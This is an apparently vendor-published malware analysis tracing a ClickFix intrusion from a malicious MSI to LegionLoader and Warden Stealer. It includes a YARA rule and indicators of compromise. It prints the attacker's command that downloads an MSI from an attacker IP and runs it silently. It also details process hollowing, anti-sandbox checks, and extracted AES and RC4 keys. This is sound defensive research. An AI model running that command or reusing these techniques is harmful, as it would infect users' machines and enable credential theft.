Threat Response Unit

ROMULUS ClickFix to LegionLoader and Warden Stealer: Breaking Down a Multi-Stage Malware Intrusion

eSentire Threat Response Unit (TRU)

November 20, 2026

22 MINS READ

What did we find?

In November 2026, eSentire's Threat Response Unit (TRU) identified a multi-stage intrusion involving ROMULUS, a ClickFix delivery system first reported by Forescout in October 2026 in their blog, ROMULUS: Analysis of a New Multi-Payload ClickFix Delivery Platform. This blog analyzes a very similar incident, tracing the attack from initial ClickFix execution through MSI-based staging, PowerShell and C# payload extraction, work object callback abuse, shellcode execution, LegionLoader deployment, and the eventual delivery of Warden Loader, the precursor to Warden Stealer.

In the intrusion, the victim downloaded and executed a malicious MSI after pasting a command that ROMULUS copied to their clipboard. The MSI decrypted and executed multiple embedded stages, ultimately leading to shellcode that performed sandbox and virtual machine evasion checks before reflectively loading LegionLoader. LegionLoader then registered with its C2 server, retrieved tasking, and downloaded and injected Warden Loader.

Warden Stealer is an information stealer extensively documented by Gen Digital in their blog, Warden Stealer: The Rapid Rise of an Infostealer with an Appetite for AI Agent Data. Warden Stealer targets web browsers, cryptocurrency wallets, messengers, and many other applications, although the specific data collected depends on each operator's configuration.

Initial Access

The attack chain begins with a ClickFix lure served by ROMULUS that instructed the victim to open a new Command Prompt (cmd) through the Windows Run Prompt (Win + R) and to paste the command the site copied to the victim's clipboard. This command is responsible for downloading a Microsoft Installer (MSI) file to the victim's temporary directory and launching it via msiexec.exe. Notably, the command uses a URL with a decimal-formatted IP address "392101017" which corresponds to 23.94.252[.]153 (ASN 207043 "Dedik Services Limited").

cmd /c curl.exe -fsL -o "%TEMP%\S758.msi" http://392101017/84719 && msiexec /i "%TEMP%\S758.msi" /qn

Attack Chain Overview

At a high level, the MSI executes a custom action that launches an embedded VBScript stream. The VBScript decrypts and writes a malicious PowerShell script, which then reads encrypted streams from the MSI and injects a lightweight shellcode loader, referred to here as the "Work Object Loader". This loader abuses a work object callback to execute shellcode. The shellcode performs several anti-analysis checks, including querying IPInfo's API to identify hosting-associated external IP addresses and checking for display adapter names commonly associated with virtual machines. If these checks pass, the shellcode reflectively loads LegionLoader. LegionLoader then registers with its C2 server before downloading and injecting Warden Loader, which subsequently loads Warden Stealer.

Figure 1 - Attack chain diagram
Figure 1 - Attack chain diagram

Analysis of Stager MSI (S758.msi)

SHA-256: f817a4763ad5469fc436db68ca0fccf337d39fdc30b77341b3600f7f4123fc87

In the Property metadata in Malcat, we can see the MSI registers itself with the manufacturer, "Sare Level Corp", and product name, "SynerIntegration", identically to the ClickFix campaign documented on October 14 by BlackHills in their blog, The Key Was the Victim's IP Address.

Figure 2 - MSI property metadata in Malcat
Figure 2 - MSI property metadata in Malcat

Within the InstallExecuteSequence metadata in Malcat, which defines the list of actions to execute by the MSI, it begins by running a custom action named "EcAdvanceAction". The custom action uses Type 4102 (0x1006), which is documented in Microsoft's Windows Installer documentation, Custom Action Type 6 as constants: msidbCustomActionTypeVBScript + msidbCustomActionTypeBinaryData + msidbCustomActionType64BitScript, effectively indicating the installer executes a VBScript file stored as a Binary stream.

Figure 3 - InstallExecuteSequence with custom action "EcAdvanceAction"
Figure 3 - InstallExecuteSequence with custom action "EcAdvanceAction"

According to Microsoft's documentation, "The Source field of the CustomAction table contains a key to the Binary table. The Data column in the Binary table contains the stream data. A separate stream is allocated for each row." In this case, the Source field is "IntInteger2266".

Figure 4 - CustomAction table in Malcat with "IntInteger2266" VBScript stream
Figure 4 - CustomAction table in Malcat with "IntInteger2266" VBScript stream

Within the Binary metadata in Malcat, we can see each Binary stream:

Figure 5 - Listing in Malcat of binary streams in the MSI
Figure 5 - Listing in Malcat of binary streams in the MSI

Using the free tool msitools, the following commands extract each stream for further analysis:

mkdir -p extracted
msiinfo extract S758.msi "Binary.ArrayImg2000" > extracted/Binary.ArrayImg2000.bin
msiinfo extract S758.msi "Binary.IntInteger2266" > extracted/IntInteger2266.bin
msiinfo extract S758.msi "Binary.MenuParallel2380" > extracted/MenuParallel2380.bin

The contents of the file "extracted/IntInteger2266.bin" reveal it is in fact a VBScript as expected, which serves to extract and execute the PowerShell-based stream file "MenuParallel2380" as %TEMP%\<random_num>.ps1.

Figure 6 - "IntInteger2266" VBScript contents
Figure 6 - "IntInteger2266" VBScript contents

The "MenuParallel2380" PowerShell script is obfuscated. Deobfuscating it reveals another layer of obfuscation, and deobfuscating that reveals the PowerShell responsible for decrypting the final MSI Binary stream, "ArrayImg2000" via AES-256-CBC. The first 32 bytes of the stream ArrayImg2000 are the key, the next 16 bytes are the IV, and the remaining bytes are the ciphertext that is decrypted to plaintext. This script also decodes two Base64-encoded C# program definitions, adds them as type definitions using Add-Type -TypeDefinition <C#> -Language CSharp, and then instantiates them to extract and reflectively load the next stage.

Figure 7 - Obfuscated PowerShell stage 1
Figure 7 - Obfuscated PowerShell stage 1
Figure 8 - Obfuscated PowerShell stage 2
Figure 8 - Obfuscated PowerShell stage 2
Figure 9 - Deobfuscated PowerShell stager contents
Figure 9 - Deobfuscated PowerShell stager contents

The first C# program, shown in the prior figure as the Base64 blob, is used to extract the encrypted payload stream, ArrayImg2000, from the original MSI. It does this by leveraging functions exposed by Microsoft's legitimate MSI helper library, msi.dll, including MsiOpenDatabase, MsiDatabaseOpenView, MsiViewExecute, MsiViewFetch, ReadLen, ReadBuf, and MsiCloseHandle. This behavior creates a potential detection opportunity for defenders: suspicious use of msi.dll APIs can be monitored, particularly when those calls originate from high-risk processes such as PowerShell.

Figure 10 - Embedded C# program that uses msi.dll for stream extraction from MSI
Figure 10 - Embedded C# program that uses msi.dll for stream extraction from MSI

Using CyberChef, we extracted the AES key and IV, then decrypted the ciphertext to reveal the next-stage PE loader:

Figure 11 - Decrypting the stream using CyberChef
Figure 11 - Decrypting the stream using CyberChef

The second C# program is used to inject the decrypted PE. It allocates PAGE_READWRITE memory for the payload, applies image base relocations, resolves imports, maps the image, changes the image protections to PAGE_EXECUTE_READWRITE, and finally executes the payload at its entry point via CreateThread.

Figure 12 - C#-based reflective loader
Figure 12 - C#-based reflective loader

Analysis of Work Object Loader

SHA-256: 2dc20037fe0ec71307740dee1f58734cdab7ff7bcff3259f862b2d2a6eca2a04

This loader serves as an additional obfuscation layer that decrypts the next-stage shellcode using AES-256-CBC and transfers execution to it through work object callback abuse. It allocates 0x842F0 bytes, zeroes the allocated buffer, and then constructs a structure in that memory before invoking the routine labeled in the figure below as mw_aes_decrypt, which is responsible for decrypting the shellcode and handling flags that control page protections.

The structure begins with the encrypted shellcode length (0x842A0), followed by flags that control page protections and obfuscation behavior, including a final byte-reversal step after decryption. This is followed by padding, the AES key and IV, followed by the encrypted shellcode itself. The mw_create_work_object routine, discussed in the next section, is responsible for transferring execution to the decrypted shellcode by abusing a work object callback.

struct ShellcodeDecrypt {
    uint32_t encryptedShellcodeLen;
    uint32_t flags;
    uint64_t pShellcodeEntry; // Out param
    uint64_t padding;
    uint8_t  aesKey[32];
    uint8_t  aesIV[16];
    uint8_t  encryptedShellcode[...];
};
Figure 13 - Shellcode staging routine
Figure 13 - Shellcode staging routine

The decompiler view of the mw_create_work_object routine is shown in the figure below. This routine is responsible for transferring control to the shellcode by executing it through a work object callback. It does this by first calling CreateThreadpoolWork with the callback function pfnwk and passing the shellcode pointer as the pv argument. This effectively results in an invocation pattern similar to pfnwk(pv). The routine then calls SubmitThreadpoolWork and WaitForThreadpoolWorkCallbacks to schedule the work item and wait for the callback execution to complete.

Figure 14 - Work object callback abuse to execute shellcode
Figure 14 - Work object callback abuse to execute shellcode

Through the use of CyberChef, we are able to decrypt the shellcode through the AES Decrypt and Reverse operations, specifying the AES key (1156ed7eedc158a11cb65a2b29f96e4ce3bdeada2a4b6d62acb50082e8f3af73) and IV (0a033799d6545ee290cdaf13fe8eca1c) extracted from the binary:

Figure 15 - Shellcode decryption and deobfuscation using CyberChef
Figure 15 - Shellcode decryption and deobfuscation using CyberChef

Analysis of Shellcode

SHA-256: 4c12847c105b764161a7455820bb2da157f3c6b06472c359cda86578d966bbbf

The shellcode entry point begins at offset 0 with a call to a subroutine, referred to here as sub_73e5d. The instructions shown in the figure immediately after this call are not actually executable code; instead, they represent a structure used by the shellcode to decrypt the next-stage LegionLoader payload. Binary Ninja disassembles this region as code due to its linear disassembly behavior. The call instruction pushes the return address onto the top of the stack, which is later saved and used to decrypt the next-stage LegionLoader payload.

Figure 16 - Shellcode entrypoint preceding structure
Figure 16 - Shellcode entrypoint preceding structure

The figure below illustrates this process. The initial call places the address of the embedded structure onto the stack. The routine sub_73e5d saves the recovered structure pointer on the stack before running anti-sandbox checks. If the checks pass, the saved pointer is restored and passed to the AES decryption and byte-reversal routine, shown here as mw_aes_decrypt_payload_and_reverse, to decrypt the payload via AES-256-CBC and reverse the byte array.

Figure 17 - sub_73e5d save/restore structure
Figure 17 - sub_73e5d save/restore structure

The next figure shows the annotated structure immediately following the call to sub_73e5d. This structure contains the encrypted payload size, in this case 0x73e10 bytes, followed by flags, in this case 0x3 (FLAG_AES_DECRYPT | FLAG_REVERSE), a 32-byte AES key, and a 16-byte AES IV. This continues the attack chain's recurring use of AES-256-CBC for payload decryption.

Figure 18 - Annotated structure of the shellcode in 010 Editor
Figure 18 - Annotated structure of the shellcode in 010 Editor

The top-level anti-sandbox function, shown in the figure below as mw_anti_sandbox, performs two checks: it looks for specific substrings in display adapters and sends an HTTP GET request to "IPInfo's API" to determine whether the external IP is classified as hosting. In this case, IPInfo, a legitimate IP reputation service, is being abused for sandbox evasion. Both are highly effective anti-sandbox techniques: display adapter artifacts are difficult for researchers to spoof, and many sandbox environments use hosting-affiliated external IP addresses rather than residential or mobile IP space.

Figure 19 - High-level view of the anti-sandbox routine
Figure 19 - High-level view of the anti-sandbox routine

Display devices are enumerated in the routine at offset 0x824be via user32!EnumDisplayDevicesA and each device's DISPLAY_DEVICEA.DeviceString member is checked for the following substrings:

An HTTP GET request is sent to hxxps://ipinfo.io/what-is-my-ip in the routine at offset 0x82b2c and the malware parses the returned HTML for the external IP check result matching "hosting".

Figure 20 - Hosting check for external IP
Figure 20 - Hosting check for external IP

For further clarification, the figures below illustrate the raw HTML the shellcode checks via substring matching for "hosting" and a PCAP capture of the request.

Figure 21 - HTML returned by IPInfo API
Figure 21 - HTML returned by IPInfo API
Figure 22 - PCAP dump of GET request/response
Figure 22 - PCAP dump of GET request/response

Once the LegionLoader payload is mapped, its imports are resolved and its TLS callbacks are invoked. The shellcode then resolves the entrypoint of the mapped payload and calls it, transferring control to LegionLoader.

Figure 23 - Call LegionLoader entrypoint
Figure 23 - Call LegionLoader entrypoint

To recover the LegionLoader payload, we apply the same operations as before, making sure to extract the AES key (5f3840bcc3e2fcaabb5b494d45984524c8a5a6d0d028dde835fc21423a80f352) and IV (75cefdf5d33380e5ea4e1c35c398ddd0) from the previously described structure: AES decrypt, then Reverse.

Figure 24 - Decrypting the LegionLoader payload via CyberChef
Figure 24 - Decrypting the LegionLoader payload via CyberChef

Analysis of LegionLoader

SHA-256: 22dea422c8056e58e315f926da1d131619c2638da9a550b31cb1d24242c689e4

Key Characteristics

Module and API Hashing via CRC32

LegionLoader's first action is to resolve the base addresses of ntdll and kernel32 by hash using the CRC32 algorithm. It does this by walking the PEB's loaded module list and hashing each module's BaseDllName member (converted to lowercase). The same CRC32-based hashing approach is also used for API resolution and for generating a victim identifier, specifically a CRC32 hash of the victim machine's volume serial number, which is later transmitted to the C2 server in the registration process.

Figure 25 - PEB walk, module resolver routine
Figure 25 - PEB walk, module resolver routine

As previously mentioned, the malware uses the same CRC32 algorithm to hash export names; however, unlike the module name hashing routine, the export names are not converted to lowercase before hashing. The figure below shows the pseudocode for the routine responsible for this process.

Figure 26 - PEB walk, API resolver routine
Figure 26 - PEB walk, API resolver routine

The figure below displays the pseudocode of the CRC32-hashing routine, mw_crc32.

Figure 27 - CRC32 hashing routine
Figure 27 - CRC32 hashing routine

The hashing routine can be simulated in Python using the following code, which prints the hash for "ntdll.dll" (0x84c05e40):

import zlib
test = b"ntdll.dll"
crc_value = zlib.crc32(test)
print(hex(crc_value))
# 0x84c05e40

C2 Communication

Registration (nfront.php)

The malware sends an HTTP POST request to its C2 server for registration. The registration data is included in the POST body and is encrypted with RC4 before being Base64-encoded. Notably, all observed LegionLoader sample registrations use the nfront.php path, providing a detection opportunity for defenders.

Figure 28 - Example C2 request with encrypted victim registration data
Figure 28 - Example C2 request with encrypted victim registration data

By extracting the RC4 key used by the malware prior to this request, 10dda87d124c6c60368b7b814dad0279c3c7f03e86d58df8d9458523b24ea1, which we have observed across numerous LegionLoader samples, we can decrypt the POST body in CyberChef using the RC4 operation. This reveals a JSON payload sent by the malware containing information such as the victim's Windows version, a CRC32-hashed volume serial number used to identify the victim's machine, a decimal-formatted constant value of 3016246695 (0xb3c845a7), and a campaign identifier.

Figure 29 - Decrypting victim registration data via CyberChef
Figure 29 - Decrypting victim registration data via CyberChef

When generating the victim identifier, the malware computes a CRC32 hash of the victim's volume serial number, which is acquired by calling the GetVolumeInformationA API. According to MSDN, "This function returns the volume serial number that the operating system assigns when a hard disk is formatted." The volume serial number is a DWORD that is CRC32-hashed and then formatted as a string using wsprintfA with the format string %08X. For lab emulation of LegionLoader C2 communication, generating a random 32-bit (4-byte) value is sufficient to simulate this identifier.

Figure 30 - Hashing victim's volume serial number to use as an identifier
Figure 30 - Hashing victim's volume serial number to use as an identifier

The figure below displays the routine responsible for formatting the previously generated victim volume serial number CRC32 hash as a string via wsprintfA:

Figure 31 - Routine responsible for formatting volume serial number as a string
Figure 31 - Routine responsible for formatting volume serial number as a string

The next figure illustrates how the malware creates the victim's Windows version string by reading the PEB's OSMajorVersion, OSMinorVersion, and OSBuildNumber fields, formatting them as Windows %d.%d.%d, and passing the result to wsprintfA:

Figure 32 - Routine responsible for formatting Windows version string
Figure 32 - Routine responsible for formatting Windows version string

After the C2 registration is sent, the C2 validates it and, if accepted, responds with the malware configuration, which primarily contains tasks to execute. The response body is decrypted using the same RC4 key used to encrypt communications with the C2.

Figure 33 - C2 response containing RC4-encrypted malware configuration
Figure 33 - C2 response containing RC4-encrypted malware configuration

A truncated portion of the routine responsible for decoding and decrypting the malware configuration can be seen below, which decodes the response body, decrypts it via RC4, and parses the JSON.

Figure 34 - Truncated view of routine responsible for decoding and decrypting malware configuration
Figure 34 - Truncated view of routine responsible for decoding and decrypting malware configuration

Decoding and decrypting the response body through CyberChef using the RC4 key reveals LegionLoader's JSON-formatted malware configuration:

Figure 35 - Decoding and decrypting LegionLoader malware configuration via CyberChef
Figure 35 - Decoding and decrypting LegionLoader malware configuration via CyberChef
Task Results (nback.php)

After handling tasks, LegionLoader sends a request back to the C2 nback.php endpoint containing the task result JSON, effectively providing operators with execution status from the victim system.

Figure 36 - Decoding and decrypting LegionLoader task results C2 request via CyberChef
Figure 36 - Decoding and decrypting LegionLoader task results C2 request via CyberChef

Loading Warden Loader

Within the malware configuration, we identified the specific task responsible for downloading and decrypting Warden Loader. The figure below annotates this task entry and describes each field's purpose.

Figure 37 - Entry in malware config specific to Warden Loader
Figure 37 - Entry in malware config specific to Warden Loader

For this task, LegionLoader uses task type "1" and subtype "1", causing the payload to be handled as a PE and injected via process hollowing. The payload is downloaded via UrlDownloadToFileA, saved to a temporary filename generated by a random alphanumeric string function with a length between 5 and 15 characters, and then injected via process hollowing of the default target process, C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\ilasm.exe.

Figure 38 - Routine responsible for downloading payload
Figure 38 - Routine responsible for downloading payload

Process hollowing begins with a call to RtlCreateProcessParametersEx to initialize a process parameters structure, followed by NtCreateUserProcess to launch the target process in a suspended state using the PROCESS_CREATE_FLAGS_SUSPENDED and THREAD_CREATE_FLAGS_CREATE_SUSPENDED flags.

Figure 39 - Beginning of routine responsible for creating suspended target process
Figure 39 - Beginning of routine responsible for creating suspended target process

NtGetContextThread receives a CONTEXT structure whose ContextFlags field, at offset 0x30, is set to 0x100002 (CONTEXT_AMD64 | CONTEXT_INTEGER). This requests the integer registers: rax, rcx, rdx, rbx, rbp, rsi, rdi, and r8 through r15 of the suspended process's primary thread.

The helper mw_get_remote_process_image_base then receives ctx.Rdx, which holds a pointer to the suspended process's PEB, and calls ReadProcessMemory to read the ImageBaseAddress field at PEB + 0x10.

Next, the loader locates the payload's NT headers by adding the payload's e_lfanew value to the payload buffer's base address.

VirtualAlloc is called next to allocate a 64-byte (0x40) buffer, which ReadProcessMemory then fills with the suspended target process's DOS header.

Using e_lfanew from the copied DOS header, the loader calculates e_lfanew + 0x108, where 0x108 is the full size of IMAGE_NT_HEADERS64. It then calls VirtualAlloc to allocate a local buffer of that size and fills it using ReadProcessMemory, effectively copying the bytes from the suspended target process's image base through the end of its NT headers.

Figure 40 - Process hollowing initialization
Figure 40 - Process hollowing initialization

Next, the loader obtains a pointer to the payload's IMAGE_NT_HEADERS64 and uses it to determine the image's virtual size before allocating a buffer of that size with VirtualAlloc. It then calls a helper routine, referred to here as mw_map_payload, to map the payload into the newly allocated buffer. This routine first copies the PE headers, then iterates through the section headers, copying each section's SizeOfRawData bytes from the raw payload at the section's PointerToRawData offset into the destination buffer at the section's VirtualAddress offset.

Figure 41 - Mapping the payload
Figure 41 - Mapping the payload

A copy of the mapped image is then created and used to overwrite the suspended target process's original image through a helper routine, denoted here as mw_overwrite_remote_image_fix_protections. This routine changes the target image's memory protections to PAGE_READWRITE (0x04), writes the replacement image using WriteProcessMemory, and restores protections based on the payload's PE headers. First, it sets the memory protection for the first 0x1000 bytes, the PE headers, to PAGE_READONLY (0x02), then iterates through section headers, translates each section's Characteristics flags into the corresponding Windows memory protection constants, and calls VirtualProtectEx to apply those protections, effectively restoring the original memory protections defined in the payload's section headers.

Figure 42 - Overwriting the original image with the mapped payload and restoring section protections
Figure 42 - Overwriting the original image with the mapped payload and restoring section protections

Finally, the loader sets CONTEXT.Rcx to the mapped payload's entry point and calls NtSetContextThread to apply the updated context. It then calls NtResumeThread, allowing the suspended thread's startup routine to transfer control to the payload, Warden Loader.

Figure 43 - Setting CONTEXT.Rcx to point to the payload entrypoint and resuming thread
Figure 43 - Setting CONTEXT.Rcx to point to the payload entrypoint and resuming thread

By dumping the CONTEXT buffer after NtGetContextThread and before NtSetContextThread, then parsing it with a custom 010 Editor template, we can compare the thread context before and after modification. This shows that the Rcx member of the CONTEXT structure was updated to point to the entry point of the newly mapped Warden Loader payload.

Figure 44 - Before/after CONTEXT.Rcx modification
Figure 44 - Before/after CONTEXT.Rcx modification

Opaque Predicates

As a final note on the characteristics of LegionLoader, there are numerous opaque predicates that lead to junk code. In the example shown below, junk code immediately follows a function call that builds victim registration data.

Figure 45 - Example of opaque predicate in LegionLoader
Figure 45 - Example of opaque predicate in LegionLoader

YARA Rules

The following YARA rule detects LegionLoader in memory.

import "pe"
rule MAL_Win_LegionLoader {
    meta:
        author = "eSentire Threat Response Unit (TRU) | @YungBinary"
        description = "Detects LegionLoader using CRC32/RC4, module/API hashes, and a subset of loader features"
    strings:
        $crc32 = {
            8B 04 24 D1 E8 8B 4C 24 ??
            81 E1 20 83 B8 ED 33 C1 89 04 24
        }
        $rc4_ksa = {
            81 7C 24 ?? 00 01 00 00 7D ??
            48 63 44 24 ?? 0F B6 44 04 ?? 8B 4C 24 ??
            03 C8 8B C1 48 63 4C 24 ??
            0F B6 8C 0C ?? ?? ?? ?? 03 C1 25 FF 00 00 00
        }
        $rc4_prga = {
            48 63 44 24 ?? 0F B6 44 04 ??
            48 63 4C 24 ?? 0F B6 4C 0C ??
            03 C1 25 FF 00 00 00 89 44 24 ??
            48 63 44 24 ?? 0F B6 44 04 ?? 88 44 24
        }
        $hash_ntdll = { B9 40 5E C0 84 E8 }
        $hash_kernel32 = { B9 02 9F E6 6A E8 }
        $hash_mbstowcs = { BA CD 8F 26 06 48 8B 4C 24 ?? E8 }
        $hash_ntclose = { BA 50 C7 09 0D 48 8B 4C 24 ?? E8 }
        $hash_ntsetcontext = { BA 98 3B 45 E1 48 8B 4C 24 ?? E8 }
        $hash_winhttp_close = { BA F4 F9 29 6A 48 8B 4C 24 ?? E8 }
        $hash_winhttp_send = { BA F7 B4 E9 CE 48 8B 4C 24 ?? E8 }
        $hash_winhttp_connect = { BA C6 B6 50 6F 48 8B 4C 24 ?? E8 }
        $hash_winhttp_receive = { BA F9 61 BB 46 48 8B 4C 24 ?? E8 }
        $hash_shellexecute = {
            BA 99 15 6D 49 48 8B
            (4C 24 ?? | 8C 24 ?? ?? ?? ??) E8
        }
        $feature_lowercase = {
            83 F8 5A 7F ?? 0F BE 44 24 ?? 83 F8 41 7C ??
            0F BE 44 24 ?? 83 C0 20 88 44 24
        }
        $feature_config = {
            BA (3D 49 36 DC | 17 0F 0F FF) 48 8B C8 E8
        }
        $feature_registration = {
            (
                C7 84 24 ?? ?? ?? ?? A7 45 C8 B3
                |
                48 B9 57 69 6E 64 6F 77 73 20 [8-32]
                48 B9 25 64 2E 25 64 2E 25 64
            )
        }
        $feature_suspended = {
            C7 44 24 38 01 00 00 00
            C7 44 24 30 00 02 00 00
            48 C7 44 24 28 00 00 00 00
            48 C7 44 24 20 00 00 00 00
            41 B9 FF FF 1F 00 41 B8 FF FF 1F 00
        }
        $feature_context_flags = {
            C7 84 24 ?? ?? ?? ?? 02 00 10 00
            48 8B 05
        }
        $feature_systemroot = {
            48 C7 44 24 ?? 30 00 FE 7F
            [16-40]
            48 63 44 24 ?? 48 8B 4C 24 ?? 0F B7 04 41 85 C0 74
        }
        $feature_victim_format = {
            B8 04 00 00 00 48 6B C0 00 C7 44 04 ?? 25 30 38 58
        }
    condition:
        uint16(0) == 0x5A4D and
        pe.is_pe and pe.machine == pe.MACHINE_AMD64 and
        filesize < 10MB and
        $crc32 and 1 of ($rc4_*) and
        2 of ($hash_*) and
        2 of ($feature_*)
    }

What did we do?

What can you learn from this TRU Positive?

Recommendations from the Threat Response Unit (TRU)

Indicators of Compromise

Type Value Description
IPv4 23.94.252[.]153 Dropper C2 hosting S758.msi (ASN 207043 "Dedik Services Limited")
File f817a4763ad5469fc436db68ca0fccf337d39fdc30b77341b3600f7f4123fc87 S758.msi (MSI stager)
File b3b75f6802b189de6fdac7d6c786944b95c2f9cf44c74a1f351fd40ac33fd5a2 VBScript embedded in MSI "IntInteger2266"
File 8b90a534c103141c76bb9a35bd23b89393b17660801d1316569ed7b98e2c1900 PowerShell embedded in MSI "MenuParallel2380"
File 38e8f4c4432cca420a9a52f8b97fd533736665d51fe06030f40e1bbdf3067643 Work Object Loader (encrypted) stream in MSI "ArrayImg2000"
File 79094cbf6ee454511610cfe62cc75601fc01c0451ed8211aad54c0e2e6c4ab29 Final deobfuscated PowerShell
File c4e12c7790006bd1585b55e546f3cf68e5c066efc03cf51148d29751a486b1c0 Embedded C# MSI stream extractor
File f11f84b200979d6393850b00fac3ec0d8c26dd227611af750be79a0544236bd2 Embedded C# reflective injector
File 2dc20037fe0ec71307740dee1f58734cdab7ff7bcff3259f862b2d2a6eca2a04 Work Object Loader PE
File 4c12847c105b764161a7455820bb2da157f3c6b06472c359cda86578d966bbbf Shellcode that loads LegionLoader (w/ anti-sandbox)
File 22dea422c8056e58e315f926da1d131619c2638da9a550b31cb1d24242c689e4 LegionLoader payload
File 75a43ad9bb6d28195c0333e5f0fd287a75061816a5c11c7a1c3ef7b3c5b86a9c 3.bin (RC4-encrypted Warden Loader payload)
Domain hflubfg[.]com LegionLoader C2
Domain yugernaut[.]com LegionLoader C2
Domain feidaindy[.]com LegionLoader C2
Domain benderoflight[.]com LegionLoader C2
Domain totebagsforwork[.]com LegionLoader C2
Domain smashshape[.]com LegionLoader C2
Domain shoeshowshoes[.]com LegionLoader C2
Domain scridea[.]com LegionLoader C2
Domain uoverlazyt[.]com LegionLoader C2
Domain redjaxfire[.]com LegionLoader C2
Domain zgrongbo[.]com LegionLoader C2
Domain gemscocl[.]com LegionLoader C2
Domain nsgggg[.]com LegionLoader download domain
Domain apapg[.]com LegionLoader download domain
Domain ruthaiv[.]com LegionLoader download domain
File e1ca462ee6ca141ed4cdba032dc8b2515bc8f5e0c639d3f6f642b94a7053e194 3.bin (decrypted) Warden Loader Payload
Domain domae-trs[.]club Warden Stealer C2

References

To learn how eSentire can help you find exposures and defend your organization, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7 Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and works as an extension of your security team to continuously improve our Managed Detection and Response service. By providing complete visibility across your attack surface and performing global threat sweeps and proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending your organization against known and unknown threats.

Back to blog

Take Your Cybersecurity Program to the Next Level with eSentire MDR.

BUILD A QUOTE

Read Similar Blogs

EXPLORE MORE BLOGS